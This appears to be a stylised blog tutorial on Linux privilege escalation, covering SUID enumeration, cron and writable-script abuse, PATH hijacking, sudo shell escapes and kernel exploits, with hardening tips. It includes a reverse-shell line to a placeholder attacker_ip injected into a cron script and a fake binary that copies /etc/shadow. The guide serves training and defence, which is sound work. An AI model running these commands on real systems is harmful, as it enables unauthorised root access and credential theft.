Linux Privesc, Gaining Root

You slide through the neon-lit alleys of cyberspace, rain-slick streets of code reflecting LED signs that buzz and flicker, your boots echoing on concrete servers. Above you towers of monolith machines hum with electric potential, every process a glowing filament waiting to be lit, every account a locked door behind which power awaits. You know Linux is your battlefield, root your ultimate prize, the pulse at centre of the system. But beware, the maze is alive, with guardians in form of permissions, configurations, and vigilant defenders.

Drinking synthetic coffee in a corner of your mind you squint at lines of code, feeling the static in the air. The screen ahead is a canvas of logs, kernels, and privilege vectors. Some paths are obvious, others hidden in shadows, weak file permissions, outdated binaries, misconfigurations. You are not yet root, but the door is ajar, the key rusted. This is Linux privilege escalation, raw and dangerous, and you will learn how to push through.

Understanding Privilege Escalation

Privilege escalation (privesc for short) refers to the act of gaining elevated access to resources that are normally restricted. On Linux that usually means going from a normal user account to the root user. Root has unlimited power, every file, every process exposed. For new cybersecurity enthusiasts this is a rite of passage in penetration testing and red teaming, but also a reminder that misused root access can devastate systems.

Typically privesc paths fall into categories:

• Kernel exploits, when the kernel itself is flawed.
• Misconfigured services or daemons running as root.
• Weak file or directory permissions.
• SUID or SGID binaries.
• Environment variable hijacking.
• Cron jobs or scheduled tasks.

Practical Paths to Root

Here are methods and examples. Some of these could be abused, use in lab environments only, or with explicit permission. Do not use these on systems you do not own or have authorisation to test.

1. SUID Binaries

A binary with the SUID bit allows a user to execute it with the privileges of its owner, often root.

bash
find / -perm -4000 -type f 2>/dev/null

This lists all files owned by root with SUID bit set. If you find one poorly coded executable, you may exploit it. For example, suppose /usr/local/bin/vulnerable is owned by root with SUID and allows passing in a filename to parse:

bash
/usr/local/bin/vulnerable "/tmp/symlink"

If you control /tmp/symlink and it points to /etc/passwd or another sensitive file, you might read or overwrite data. Always test in safe sandbox.

2. Weak File Permissions

Often configuration files or private keys are readable or writeable by users who should not have that level of access.

bash
ls -la /etc/cron.d/
/etc/cron.daily/
/etc/cron.daily/backup

If backup script is writeable by non-root users, you can inject malicious commands. Example:

bash
echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" > /etc/cron.daily/backup

This schedules a reverse shell. Use with extreme caution; this is dangerous in live environments.

3. Exploiting Environment Variables & PATH

Some root-owned scripts or binaries use relative paths or env variables unsafely.

Suppose root user runs a script that calls backup.sh which in turn calls mysqldump without full path. If you control PATH you can place a malicious mysqldump first:

bash
cat > /tmp/mysqldump << 'EOF'
#!/bin/bash
cp /etc/shadow /tmp/shadow
EOF
chmod +x /tmp/mysqldump
export PATH=/tmp:$PATH
/usr/local/bin/backup.sh

Here backup.sh invokes mysqldump and you capture shadow file. This hinges on unsafe script design.

4. Cron Jobs and Scheduled Tasks

Check for cron jobs owned by root.

bash
crontab -l
ls -la /etc/cron.d/
ls -la /var/spool/cron/

If a cron script uses a directory writable by your user, or calls a script you can modify, you may escalate. Example: root's cron runs /usr/local/bin/cleanup.sh daily. If /usr/local/bin is writeable, replace cleanup.sh with your malicious script.

Advanced Techniques

Kernel Exploits

Latest CVEs sometimes let unprivileged users escalate via kernel bugs. This requires compiling or applying public proof-of-concepts.

bash
uname -r   # find kernel version
searchsploit linux kernel privilege escalation  # using exploit-db
gcc exploit.c -o exploit
./exploit

Warning: exploit code may cause system instability, data loss. Use only in controlled environment.

Capabilities and Namespaces

Modern Linux systems use capabilities to divide root privileges; some binaries have extra capabilities.

bash
getcap -r / 2>/dev/null

Find any binary with capabilities that may be misused. If you find something like cap_sys_admin on a binary you can control, you may misuse that to escalate.

Namespaces (containers) may allow breakout if host poorly configured. For instance, being in root within a container may still be limited if user-namespace mapping is correctly set, but misconfigurations occur.

Protective Measures: Hardening Tips

As a defender you should do what an attacker would search for:

• Regularly audit SUID/SGID binaries. Remove unnecessary ones.
• Lock down permissions of config files, scripts, keys.
• Avoid running scripts as root that rely on relative paths or untrusted directories.
• Use tools like sudo carefully, minimise commands that require root. Use role-based access.
• Keep system and kernel updated. Watch CVEs.
• Use containerisation or virtualization to isolate services.

Mastering Linux Privilege Escalation: Hands-On Guide

Aim

To teach you practical methods for escalating privileges from a standard Linux user account to root access using real-world misconfigurations, vulnerabilities and enumeration techniques.

Learning Outcomes

By the end of this guide you will be able to:
- Enumerate potential privilege escalation vectors in a Linux environment.
- Exploit misconfigurations such as weak file permissions, setuid/setgid binaries and sudo rights.
- Identify and leverage vulnerable scripts, cron jobs, writable paths or environment variables.
- Utilise kernel exploits safely if a vulnerable kernel version is present.
- Apply defensive measures to avoid being escalated by others.

Prerequisites

You will need:
- A Linux system (virtual machine recommended) with local (non-root) user access.
- Basic command-line familiarity: ls, ps, whoami, sudo, chmod, find.
- Knowledge of file permissions, ownership and environment variables.
- Tools such as LinEnum or linPEAS for enumeration.
- Access to exploit databases (like Exploit-DB) or known CVE code for kernel exploits.

Step-by-Step Guide

1. Initial Enumeration
   Gather system info to reveal weaknesses.

bash
   whoami
   id
   uname -a
   hostname
   ps -ef
   echo "$PATH"
   sudo -l 2>/dev/null
   find / -type f \( -perm /4000 -o -perm /2000 \) -exec ls -la {} \; 2>/dev/null

These commands show your current privileges, kernel and OS version, running processes, whether sudo is available, and locate SUID or SGID binaries. (delinea.com)

2. Check for Misconfigured Scripts or Writable Files Owned by Root
   Look for scripts run by root that are writable by others. Modify them to gain root access.

bash
   find / -user root -writable -type f -name "*.sh" 2>/dev/null

If you find, for example, a backup script owned by root and world-writable, altering it to spawn a root shell yields full root. (vaadata.com)

3. Inspect Cron Jobs
   Cron jobs running as root that use scripts or binaries in paths you can write to are goldmines.

bash
   ls -la /etc/cron.* /etc/crontab
   grep -R "root" /etc/cron* /var/spool/cron 2>/dev/null

If script invoked by cron is writable by your user, edit it to execute /bin/sh -i or similar. (vaadata.com)

4. Abuse of sudo Right Permissions
   If you can run commands as root via sudo without password, or limited to some binaries, exploit that.

bash
   sudo -l

Find a permitted binary (e.g. wget, vim) and use it to execute shell as root (e.g. sudo vim -c ':!bash'). Use GTFOBins site to find specific bypasses. (delinea.com)

5. Leveraging Setuid/Setgid Binaries
   Identify binaries with SUID set owned by root.

bash
   find / -perm /4000 -type f 2>/dev/null

If a vulnerable binary that allows shell escaping or loading arbitrary libraries exists, use it. For example nmap script mode can be abused. (vaadata.com)

6. Environment Variable and PATH Hijacking
   If root calls scripts without full paths, or relies on environment variables, you can hijack by inserting malicious binaries earlier in the PATH or altering variables.

Example code: Make a binary called ls in your home, insert your home in PATH before /bin, then sudo some-script that runs ls. (thecyphere.com)

7. Kernel Exploits (Only if Insecure Version Detected)
   If uname -r reveals a known-vulnerable kernel and system is unpatched, search for exploit code.

bash
   searchsploit linux kernel 3.x # adjust version
   gcc exploit.c -o exploit
   ./exploit

Dirty COW (CVE-2016-5195) is a widely known example allowing root via copy-on-write vulnerability. (en.wikipedia.org)

Defensive Practices (What You Learn to Prevent)

• Enforce strict file permissions; root-owned scripts should not be world writable.
• Avoid sudo rights without password for risky binaries.
• Do not include ‘.’ or writable directories early in PATH.
• Keep kernel and software patched; limit exposure to known CVEs like Dirty COW.
• Regularly audit SUID/SGID binaries, cron jobs and sudoers entries.

You now have actionable knowledge of how to find and exploit privilege escalation vectors in Linux, as well as how to defend against them. Use these skills responsibly.

You lean back, coffee bitter in mouth, circuitry humming. In those code shards and misconfigured files, you have seen possibilities. You are not root yet, but you carry the knowledge. And in cybersecurity that may be more powerful than full access, for with knowledge comes responsibility.